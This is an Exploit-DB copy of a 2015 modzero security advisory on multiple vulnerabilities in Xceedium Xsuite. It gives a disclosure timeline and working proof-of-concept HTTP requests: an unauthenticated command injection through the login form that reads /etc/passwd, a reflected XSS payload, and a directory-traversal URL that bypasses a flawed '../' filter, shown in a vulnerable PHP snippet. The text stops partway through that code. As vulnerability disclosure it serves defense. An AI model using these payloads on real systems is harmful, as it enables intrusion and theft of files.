Exploit-DB #37708
Description: Xceedium Xsuite - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-07-27
Author: modzero

Exploit:
See also: http://www.modzero.ch/advisories/MZ-15-02-Xceedium-Xsuite.txt

---------------------------------------------------------------------

modzero Security Advisory:
Multiple Vulnerabilities in Xceedium Xsuite [MZ-15-02]

---------------------------------------------------------------------

---------------------------------------------------------------------

1. Timeline

---------------------------------------------------------------------

 * 2015-06-17: Vulnerabilities have been discovered
 * 2015-06-19: Vendor notified via support@xceedium.com
 * 2015-06-19: CVE IDs assigned
 * 2015-06-26: Public reminder sent via Twitter
 * 2015-06-26: Findings updated
 * 2015-07-22: Release after Xceedium did not respond within
               more than 15 business days

---------------------------------------------------------------------

2. Summary

---------------------------------------------------------------------

Vendor: Xceedium, Inc.

Products known to be affected:

 * Xsuite 2.3.0
 * Xsuite 2.4.3.0
 * Other products and versions may be affected as well.

Severity: Overall High
Remote exploitable: remote and local

The  Xsuite system  controls  and audits  privileged  user access  to
computers  in a  network  environment.  Several vulnerabilities  were
identified in the solution. The vulnerabilities allow unauthenticated
users to fully compromise an Xsuite host over the network.

The  issues  described  below  are only  examples  for  vulnerability
classes. The solution is systematically affected by similar issues.

CVE-2015-4664 to CVE-2015-4669 was  assigned to these vulnerabilities
and vulnerability classes.

---------------------------------------------------------------------

3. Details

---------------------------------------------------------------------

3.1   Command  injection   via  the   login  form   (Severity:  High,
CVE-2015-4664)

The  login form  is affected  by a  code injection  vulnerability via
the  "id" POST  parameter, which  allows an  unauthenticated attacker
to  inject  Linux commands.  These  commands  are executed  with  the
privileges  of  the Linux  user  "www-data".  The injected  command's
output is then sent back to the attacker.

An example HTTP request and response is shown below.

HTTP request:

POST /login.php HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://XXX.XXX.XXX.XXX/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

id=admin'|cat /etc/passwd||a%20%23|&pass=admin&authTypeOption=use_local&loginID=



HTTP response:

HTTP/1.1 200 OK
Date: Wed, 17 Jun 2015 10:47:47 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=6d5b0fbf8349caf10493f65e8f0b131b; path=/; secure; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PROXY_AUTH_FAILURE=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Strict-Transport-Security: max-age=365246060
Content-Length: 2096
Keep-Alive: timeout=150, max=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
[...]


3.2   Cross-Site    Scripting   Vulnerability    (Severity:   Medium,
CVE-2015-4665)

The  following   example  shows  a  reflected   cross-site  scripting
vulnerability  that injects  JavaScript code  into a  user's session.
Here, the HTTP  response contains a message, which seems  to be JSON.
However, the content type is  "text/html". Thus, a web browser treats
the server response as HTML code (fragment).

HTTP request:

GET /ajax_cmd.php?cmd=COMPLETGRAPHYRECORDING&fileName=<img%20src%3da%20onload%3dalert(1)> HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c4f6547d9d889336a7f4a9a953cc3815
Connection: keep-alive


HTTP response:

HTTP/1.1 200 OK
Date: Thu, 18 Jun 2015 11:10:07 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Strict-Transport-Security: max-age=365246060
Content-Length: 70
Keep-Alive: timeout=150, max=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

["Unable to find decryption key for file <img src=a onload=alert(1)>"]


3.3 Directory  traversal and  File Download  Vulnerability (Severity:
Medium/High, CVE-2015-4666)

Due to insufficient input validation the "read_sessionlog.php" script
is  affected by  a  directory traversal  vulnerability, which  allows
unauthenticated users to obtain any files that the user "www-data" is
allowed to  access. The  script tries  to cut  the "../"  pattern for
relative  directory  addressing,  but  fails  to  sanitize  specially
crafted input. Hence, it is still possible to download files from the
host by accessing the script as shown below:

https://XXX.XXX.XXX.XXX/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd

The   following   code   is   part    of   the   source   code   file
/var/www/htdocs/uag/web/opm/read_sessionlog.php

[...]
$file_path= $_REQUEST["logFile"];
[...]

if (strpos($file_path, '/opt/rpath') !== 0) { $file_path = '/opt/rpath/' .$file_path; }

if($startByte < 1)
        $startByte=0;

if (isset($file_path)) {   
   // make sure users cannot hack via ../../
   $file_path = preg_replace("/\.\.\//", "", $file_path);